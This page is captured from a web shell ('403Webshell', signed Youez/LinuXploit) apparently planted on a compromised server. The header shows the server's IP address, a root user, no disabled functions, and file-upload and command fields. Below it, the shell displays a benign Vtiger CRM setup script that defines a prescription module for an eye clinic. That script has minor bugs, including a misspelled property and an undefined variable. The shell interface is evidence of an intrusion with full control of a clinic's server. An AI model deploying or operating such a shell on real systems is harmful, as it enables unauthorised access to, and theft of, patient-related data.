403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/eyeclinicbeta/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/eyeclinicbeta/FinalRxNewOld.php
<?php

		include_once 'vtlib/Vtiger/Module.php';
		include_once 'vtlib/Vtiger/Menu.php';
		$Vtiger_Utils_Log = true;

		$module = new Vtiger_Module();
		$module->name = "FinalRx";
		$module->parent = 'Tools';
		$module->save();

		$module->initTables();
		$module->initWebservice();

		$block1 = new Vtiger_Block();
		$block1->label = "LBL_PATIENT_DETAIL";
		$module->addBlock($block1);


		$field1  = new Vtiger_Field();
		$field1->name = 'patient_detail';
		$field1->label= 'Patient';
		$field1->table= $module->basetable;
		$field1->column = $field1->name;
		$field1->coulmntype = "VARCHAR(255)";
		$field1->uitype= 10;
		$field1->typeofdata = 'V~O';
		$block1->addField($field1);
		$field1->setRelatedModules(Array('PatientDetail'));

		
		$field2 = new Vtiger_Field();
		$field2->name = 'finalrx_no'; 
		$field2->label = 'Final Rx No'; 
		$field2->uitype = 4;
		$field2->table = $module->basetable; 
		$field2->column = $field2->name;
		$field2->columntype = 'VARCHAR(255)';
		$field2->typeofdata = 'V~O';
		$module->setEntityIdentifier($field2); 
		$block1->addField($field2); 

		$field5 = new Vtiger_Field();
		$field5->name = 'finalrx_test_date'; 
		$field5->label = 'Final RX Test Date'; 
		$field5->table = $module->basetable; 
		$field5->column = $field5->name;
		$field5->columntype = 'DATE';
		$field5->uitype = 5;
		$field5->typeofdata = 'D~O'; 
		$block1->addField($field5);

		$field6 = new Vtiger_Field();
		$field6->name = 'finalrx_examiner'; 
		$field6->label = 'Final RX Examiner'; 
		$field6->table = $module->basetable; 
		$field6->column = $field6->name;
		$field6->columntype = 'VARCHAR(255)';
		$field6->uitype = 15;
		$field6->setPicklistValues(Array('One','Two'));
		$field6->typeofdata = 'V~O'; 
		$block1->addField($field6);


		//         // Recommended common fields every Entity module should have (linked to core table)
        $mfield1 = new Vtiger_Field();
        $mfield1->name = 'assigned_user_id';
        $mfield1->label = 'Assigned To';
        $mfield1->table = 'vtiger_crmentity';
        $mfield1->column = 'smownerid';
        $mfield1->uitype = 53;
        $mfield1->typeofdata = 'V~M';
        $block1->addField($mfield1);

        $mfield2 = new Vtiger_Field();
        $mfield2->name = 'createdtime';
        $mfield2->label= 'Created Time';
        $mfield2->table = 'vtiger_crmentity';
        $mfield2->column = 'createdtime';
        $mfield2->uitype = 70;
        $mfield2->typeofdata = 'DT~O';
        $mfield2->displaytype= 2;
        $block1->addField($mfield2);

        $mfield3 = new Vtiger_Field();
        $mfield3->name = 'modifiedtime';
        $mfield3->label= 'Modified Time';
        $mfield3->table = 'vtiger_crmentity';
        $mfield3->column = 'modifiedtime';
        $mfield3->uitype = 70;
        $mfield3->typeofdata = 'DT~O';
        $mfield3->displaytype= 2;
        $block1->addField($mfield3);

        /* NOTE: Vtiger 7.1.0 onwards */
        $mfield4 = new Vtiger_Field();
        $mfield4->name = 'source';
        $mfield4->label = 'Source';
        $mfield4->table = 'vtiger_crmentity';
        $mfield4->displaytype = 2; // to disable field in Edit View
        $mfield4->quickcreate = 3;
        $mfield4->masseditable = 0;
        $block1->addField($mfield4);

        $mfield5 = new Vtiger_Field();
        $mfield5->name = 'starred';
        $mfield5->label = 'starred';
        $mfield5->table = 'vtiger_crmentity_user_field';
        $mfield5->displaytype = 6;
        $mfield5->uitype = 56;
        $mfield5->typeofdata = 'C~O';
        $mfield5->quickcreate = 3;
        $mfield5->masseditable = 0;
        $block1->addField($mfield5);

        $mfield6 = new Vtiger_Field();
        $mfield6->name = 'tags';
        $mfield6->label = 'tags';
        $mfield6->displaytype = 6;
        $mfield6->columntype = 'VARCHAR(1)';
        $mfield6->quickcreate = 3;
        $mfield6->masseditable = 0;
        $block1->addField($mfield6);
        /* End 7.1.0 */

        // Filter Setup
        $filter1 = new Vtiger_Filter();
        $filter1->name = 'All';
        $filter1->isdefault = true;
        $module->addFilter($filter1);
        $filter1->addField($field2);

        // Sharing Access Setup
        $module->setDefaultSharing();

        // Webservice Setup
        $module->initWebservice();

        mkdir('modules/'.$MODULENAME);
        echo "OK\n";

Youez - 2016 - github.com/yon3zu
LinuXploit